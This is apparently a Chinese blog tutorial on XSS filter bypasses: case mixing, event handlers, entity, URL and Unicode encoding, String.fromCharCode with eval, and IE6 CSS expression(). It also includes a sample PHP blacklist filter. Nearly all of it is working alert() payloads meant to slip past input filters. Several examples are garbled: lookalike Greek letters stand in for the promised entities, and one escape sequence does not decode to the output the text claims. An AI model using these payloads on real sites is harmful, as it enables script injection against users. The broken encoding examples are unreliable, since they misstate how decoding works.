关于XSS概念在前面的文中介绍过了,不再赘述。
最基本的用法:
<script>alert('xss');</script>
大小写及重写的绕过:
<SCRIscriptPT>AalLEerRtT('xss');</SCscriptRIPT>
事件绕过:
利用JS事件进行相关绕过:<img src=# onerror=alert('xss');>
相关JS事件:
onabort 图像加载被中断 onblur 元素失去焦点 onchange 用户改变域的内容 onclick 鼠标点击某个对象 ondblclick 鼠标双击某个对象 onerror 当加载文档或图像时发生某个错误 onfocus 元素获得焦点 onkeydown 某个键盘的键被按下 onkeypress 某个键盘的键被按下或按住 onkeyup 某个键盘的键被松开 onload 某个页面或图像被完成加载 onmousedown 某个鼠标按键被按下 onmousemove 鼠标被移动 onmouseout 鼠标从某元素移开 onmouseover 鼠标被移到某元素之上 onmouseup 某个鼠标按键被松开 onreset 重置按钮被点击 onresize 窗口或框架被调整尺寸 onselect 文本被选定 onsubmit 提交按钮被点击 onunload 用户退出页面
编码绕过:
当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:<被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段
如:
<img src=1 onerror=alert(1)>
上述代码解析后为:<img src=1 οnerrοr=alert(1)>
可以弹窗
在代码被HTML解释器解释后,如果遇到需要填入url的位置,则该位置交由url解释器解释,如果是js代码的(例如οnclick=""),就js解释器解释,但是注意:javascript:不能用url编码代替,因为javascript:为协议类型,若是使用url编码,会被当作普通字符串,后面的js代码也不会被当作js代码解释
<a href="javascript:%61%6c%65%72%74%28%31%29"></a>
被url解释器解释完后为<a href="javascript:alert(1)"></a>,url中出现了javascript:,指明了后面的语句要当作js执行,所以再次把解释后的字符交给js解释器解释,可以弹窗。
当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。
<script>\u0061\u006c\u0065\u0072\u0074('xss')</script>
解码后为<script>alert(1)</script>,一样可以弹窗。但如果是:
<script>document.write('\u0039\u0041\u0059\u0097\u0108;\u0101\u0114\u0016\u0040\u0039\u0049\u0049\u0049')</script>
解码后为 <script>document.write(' ');alert('111')</script>就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。
利用String.fromCharCode进行编码绕过
测试代码:
<?php
function xss_check($str){
if(preg_match('/script|alert/i', $str))
return 'error';
else
return $str;
}
@$id = $_GET['id'];
echo xss_check($id);
?>
屏蔽了alert(也可能是其他的),此时可以使用编码绕过:
<img src=1 onerror=\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0061\u006c\u0065\u0072\u0074(/xss/);>
将javascript和alert进行unicode编码实现绕过,成功弹窗。
利用String.fromCharCode进行编码绕过:
<img src=2 onerror=eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))>
其中String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)是alert(/xss/)编码后的内容,google插件hackbar就有此功能。
IE6下绕过
IE下还可利用javascript:alert(/xss/);
或css
body {
background:black;
xss:expression(alert(/zhuling.wang/));/*IE6下测试*/
}
成功绕过